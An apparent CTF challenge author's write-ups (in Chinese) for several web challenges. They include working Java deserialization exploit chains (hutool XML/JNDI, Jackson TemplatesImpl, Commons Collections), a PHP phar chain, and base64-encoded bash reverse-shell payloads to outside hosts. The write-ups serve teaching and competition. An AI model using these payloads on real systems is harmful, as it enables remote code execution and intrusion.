自己出的几道题
DASCTF * CBCTF2024
ezlogin
个人java底层学的不是很深,但是大点儿的比赛能拿出手的也只有java了ToT
出这道题主要是发现hutool的一个XML反序列化漏洞,反序列化恶意xml的时候可以利用xml执行java代码
然后由于java xml的特性,最短的payload应该就是打JNDI
JNDI的话又可以去考魔改ysoserial,打jackson的链子(参考hgame2024 week4的ishortyou1)
xml注入和减少长度的方式就是一个修改密码处的replace啦。比较巧的是正好可以用最长用户名和密码的xml文件来限制payload长度
wp:
在editPass接口:
UserUtil.changePassword方法:
发现是直接用replace来重置密码
在del接口的UserUtil.delUser方法:
并没有重置JSESSION,而editPassword的oldPass又是从session中拿的
因此可以通过注册session为待修改的部分,修改为payload,用于xml反序列化
有长度限制,ban了java.和springframework.,不能直接RCE
注意到Spring版本存在Jackson链子,直接打JNDI注入触发gadget:
<java>
<object class="javax.naming.InitialContext">
<void method="lookup">
<string>rmi://ip:port/a</string>
</void>
</object>
</java>
长度限制可以用递归绕,即:
payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://"+rmiserver+"/a</string></void></object></java><!--"
list1 = []
for i in range(0,len(payload1),5) :
if len(payload1) - i >= 5:
list1.append(payload1[i:i+5:]+"_____")
else:
list1.append(payload1[i:len(payload1)])
break
print(list1)
if len(list1[-1]) < 3:
list1[-1]=list1[-2][-8:-5:]+list1[-1]
list1[-2]=list1[-2][0:2]+list1[-2][-5:-1:]
print(list1)
每次均替换“__”为下一段payload即可
同时利用该方法修改注释掉的xml部分,每个"<",">"之间都修改为最短的三字符,即可缩短xml文件至最小长度。
预期最短的xml应该是:
<!-->
111<111>
111<111>
111<111>D<111>
111<111>
111<111>
111<111>--><java><object class="javax.naming.InitialContext"><void method="lookup"><string>rmi://172.22.192.119:8888/a</string></void></object></java><!--<111>
111<111>
111<111>
</!-->
不过不需要这么极限,注释掉的部分随便改改短就可以了,用户名最短一字符。
修改ysoserial的ysoserial.exploit.JRMPListener来发送序列化数据:
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt"));
objo.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt"));
obji.readObject();
}
public static byte[][] generateEvilBytes() throws Exception{
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL2lwLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}\");";
// 修改为自己的ip port
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};
return evilbyte;
}
public static <T> void setValue(Object obj,String fname,T f) throws Exception{
Field filed = TemplatesImpl.class.getDeclaredField(fname);
filed.setAccessible(true);
filed.set(obj,f);
}
// 删除writeReplace
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod wt = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(wt);
ctClass0.toClass();
//构造恶意TemplatesImpl
TemplatesImpl tmp = new TemplatesImpl();
setValue(tmp,"_tfactory",new TransformerFactoryImpl());
setValue(tmp,"_name","123");
setValue(tmp,"_bytecodes",generateEvilBytes());
// //不稳定的触发
// ObjectMapper objmapper = new ObjectMapper();
// ArrayNode arrayNode =objmapper.createArrayNode();
// arrayNode.addPOJO(tmp);
//
//
// BadAttributeValueExpException ex = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
// Field f = BadAttributeValueExpException.class.getDeclaredField("val");
// f.setAccessible(true);
// f.set(ex,arrayNode);
//
// serialize(ex);
// System.out.println(getb64(ex));
// System.out.println(getb64(ex).length());
// unserialize();
//稳定触发
AdvisedSupport support = new AdvisedSupport();
support.setTarget(tmp);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler);
ObjectMapper objmapper = new ObjectMapper();
ArrayNode arrayNode =objmapper.createArrayNode();
arrayNode.addPOJO(proxy);
BadAttributeValueExpException ex = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
Field f = BadAttributeValueExpException.class.getDeclaredField("val");
f.setAccessible(true);
f.set(ex,arrayNode);
oos.writeObject(ex);
oos.flush();
out.flush();
并在vps上运行
mvn clean package --DskipTests
cd target/
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 a a
启动JRMPListener后运行exp:
import requests
import sys
targeturl = "http://"+sys.argv[1] //靶机地址
rmiserver = sys.argv[2] //rmi服务器地址
sessions = {}
def register(passwd):
data={"password":passwd,"username":"F"}
res = requests.post(targeturl+"/register",data=data)
if "success" in res.text.lower():
print(f"register {passwd} success")
else : print(f"register fail: {res.text}");exit(114514)
def getsession(passwd):
data={"password":passwd,"username":"F"}
res = requests.post(targeturl+"/login",data=data)
if "redirect" in res.text.lower() :
session=res.headers.get("Set-Cookie").split(";")[0].split("=")[1]
print(f"session for {passwd} : {session}")
headers = {"Cookie" : f"JSESSIONID={session}"}
sessions[passwd] = headers
else:
print(f"login fail : {res.text}");exit(114514)
def editpass(oldpass,newpass):
data={"newPass":newpass}
headers = sessions[oldpass]
res = requests.post(targeturl+"/editPass",data=data,headers=headers)
if "success" in res.text.lower():
print(f"change {oldpass} to {newpass} success")
else:
print(f"edit fail : {res.text}");exit(114514)
def deluser(passwd):
res = requests.get(targeturl+"/del",headers=sessions[passwd])
if "success" in res.text.lower():
print(f"delete {passwd} success")
def addsession(passwd):
register(passwd)
getsession(passwd)
deluser(passwd)
payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://"+rmiserver+"/a</string></void></object></java><!--"
list1 = []
for i in range(0,len(payload1),5) :
if len(payload1) - i >= 5:
list1.append(payload1[i:i+5:]+"_____")
else:
list1.append(payload1[i:len(payload1)])
break
print(list1)
if len(list1[-1]) < 3:
list1[-1]=list1[-2][-8:-5:]+list1[-1]
list1[-2]=list1[-2][0:2]+list1[-2][-5:-1:]
print(list1)
list2=[]
payload2="11111 class=\"org.example.auth.User\""
for i in range(0,len(payload2),10) :
if len(payload2) - i >= 10:
list2.append(payload2[i:i+10:])
else:
list2.append(payload2[i:len(payload2)])
break
print(list2)
for s in list2:
addsession(s)
list3=[]
payload3="void property=\"username\""
for i in range(0,len(payload3),10) :
if len(payload3) - i >= 10:
list3.append(payload3[i:i+10:])
else:
list3.append(payload3[i:len(payload3)])
break
print(list3)
list4=[]
payload4="void property=\"password\""
for i in range(0,len(payload4),10) :
if len(payload4) - i >= 10:
list4.append(payload4[i:i+10:])
else:
list4.append(payload4[i:len(payload4)])
break
print(list4)
addsession("_____")
addsession("____")
for s in list3:
addsession(s)
for s in list4:
addsession(s)
addsession("string")
addsession("object")
addsession("/void")
addsession(" ")
addsession("1111111111")
addsession("/11111")
addsession("java")
addsession("11111")
register("haha")
getsession("haha")
editpass("java","!--")
editpass("string","11111")
editpass("object","11111")
editpass("/11111","11111")
editpass(" ","11111")
editpass("/void","111")
for s in list2:
editpass(s,"11111")
for s in list3:
editpass(s,"11111")
for s in list4:
editpass(s,"11111")
editpass("1111111111","11111")
editpass("1111111111","11111")
editpass("haha",list1[0])
editpass("11111","111")
# Now it's the shortest (237)
for payload in list1[1::]:
editpass("_____",payload)
editpass("____","<!--")
requests.post(targeturl+"/login",data={"username":"F","password":"1"})
在vps成功收到反弹shell:
2024赛博杯新生赛
去年拼死拼活想打进0RAYS,今年拼死拼活一个人给新生出了所有web题
SignIn
主要是lhr跟我说了个明文md5碰撞,感觉很有意思(https://x.com/realhashbreaker/):
md5("TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak") = md5("TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak")
Hack the SunRun
研究阳光长跑的时候,想办法把阳光长跑小程序的前端扒拉下来看api,结果发现没有js,不想白干于是就拿来出题了(恼)
题目很简单,脚本访问https的方法也给出来了,主要就是考验新生的脚本编写能力,大家完成的都不错
就是通过控制好请求position接口的经纬度和clock的次数,把路程和速度控制在合理范围就好了
import requests
from urllib3.exceptions import InsecureRequestWarning
import warnings
warnings.simplefilter('ignore', InsecureRequestWarning)
def run_222m():
ll = {"latitude": 1.3064432, "longitude": 103.8506224}
requests.post("https://172.22.57.214:6333/api/getposition",json=ll,verify=False)
ll_1 = {"latitude": 1.3054432, "longitude": 103.8506224}
requests.post("https://172.22.57.214:6333/api/getposition",json=ll_1,verify=False)
def time_add_1s():
requests.get("https://172.22.57.214:6333/api/clock",verify=False)
def getdistance():
print(requests.get("https://172.22.57.214:6333/api/getdistance",verify=False).text)
def end():
print(requests.get("https://172.22.57.214:6333/end",verify=False).text)
# run 2109m
for i in range(10):
run_222m()
# in 324s
for i in range(324):
time_add_1s()
end()
Note 1
一个extract,没啥好说
Note 2
php反序列化链子+phar反序列化,并且还有非预期(call_user_func
直接走invoke
),也没啥好说
exp:
<?php
// easy unserialize chain =v=
class notes{
function __construct($filepath){
readfile($filepath);
}
}
// flag in /flag , let's go !!
class _0rays{
public $jbn;
public $pankas;
}
class lets{
public $mak4r1 = "wwwDm";
public $ech0;
public $rocket;
public $errmis = "/flag";
}
class go{
public $ed_xinhu;
}
$r = new _0rays();
$r -> jbn = "phpinfo";
$l = new lets();
$r -> pankas = $l;
$g = new go();
$l2 = new lets();
$g -> ed_xinhu = $l2;
$l1 = new lets();
$l1 -> ech0 = $g;
$l -> rocket = $l1;
echo serialize($r);
$phar = new Phar('PO.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($r);
$phar->stopBuffering();
Note 3
灵感来自之前派神给的一个 gadget合集
CC3.2.2 下可以实现toString
到put
,那可以利用BAVE走toString
再利用CC3.2.2即可实现任意put
,然后题目自定义map会读put到的文件名,读个/flag就好了
package org.example;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
// BadAttributeValueExpException#readObject -> getter
public class BAVEReadObject2ToString {
public static void main(String[] args) throws Exception{
ConstantTransformer constantTransformer = new ConstantTransformer("/flag");
NoteMap putMapClass = new NoteMap();
LazyMap lazymap = (LazyMap) LazyMap.decorate(putMapClass, constantTransformer);
LazyMap lazymap1 = (LazyMap) LazyMap.decorate(new HashMap(), constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap1, "useless");
setFieldValue(tiedMapEntry, "map", lazymap);
setFieldValue(tiedMapEntry, "key", "useless");
BadAttributeValueExpException bave = new BadAttributeValueExpException(null);
setFieldValue(bave, "val", tiedMapEntry);
// byte[] bytes = serialize(bave);
// unserialize(bytes);
System.out.println(getb64(bave));
}
public static void setFieldValue(Object obj, String field, Object val)
throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
public static String getb64(Object obj) throws Exception{
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream objout = new ObjectOutputStream(bout);
objout.writeObject(obj);
String base64 = Base64.getEncoder().encodeToString(bout.toByteArray());
return base64;
}
public static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();}
}
莫沙灯塔
出题的时候正好和对象看了消失的她,出来之后好几天都沉浸在电影结局的悲伤中(也是被感情戏俘虏了),就叫了这个名字,其实除了明面上写了点东西,题目和电影没多大关系,不影响食用,0解还是因为比赛打得人水平大部分是新生吧
考的是对RMI的理解,题目做起来简单但是实现起来有点难,把类实时动态编译还要自己写一个编译器,然后还要把类对象托管到RMI server反正自己写不出来用AI cv开发豆开发了好久哈哈哈,属实是很菜了
思路就是先直接执行命令拿服务端的flag,再在服务端构造一个对象给客户端打CC反序列化,把客户端的shell弹出来
然后就是没有import所以类名要写全
try{
String result = new String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("/flag")));
return result;
} catch (Exception e) {
return e.getMessage();
}
try {
org.apache.commons.collections.Transformer[] transformers = {
new org.apache.commons.collections.functors.ConstantTransformer(Runtime.class),
new org.apache.commons.collections.functors.InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new org.apache.commons.collections.functors.InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new org.apache.commons.collections.functors.InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyMS4xOTkuMzkuNC8zMDAwIDA+JjE=}|{base64,-d}|{bash,-i}"})
};
org.apache.commons.collections.functors.ChainedTransformer ct = new org.apache.commons.collections.functors.ChainedTransformer(transformers);
java.util.Map lazymap = org.apache.commons.collections.map.LazyMap.decorate(new java.util.HashMap(), new org.apache.commons.collections.functors.ConstantTransformer("1"));
org.apache.commons.collections.keyvalue.TiedMapEntry tiedMapEntry = new org.apache.commons.collections.keyvalue.TiedMapEntry(lazymap, "2");
java.util.HashMap<Object, Object> hashMap = new java.util.HashMap<>();
hashMap.put(tiedMapEntry, "3");
lazymap.remove("2");
Class<org.apache.commons.collections.map.LazyMap> lazyMapClass = org.apache.commons.collections.map.LazyMap.class;
java.lang.reflect.Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, ct);
return hashMap;
} catch (Exception e) {
return e;
}
这个恶意对象的构造是在服务端实现的,也就是服务端也有CC依赖
不知道动态编译环境下能不能用classLoader加载远程jar包,然后用jar包的类构造对象,这样的话服务端也可以没有CC依赖,没研究
Comments NOTHING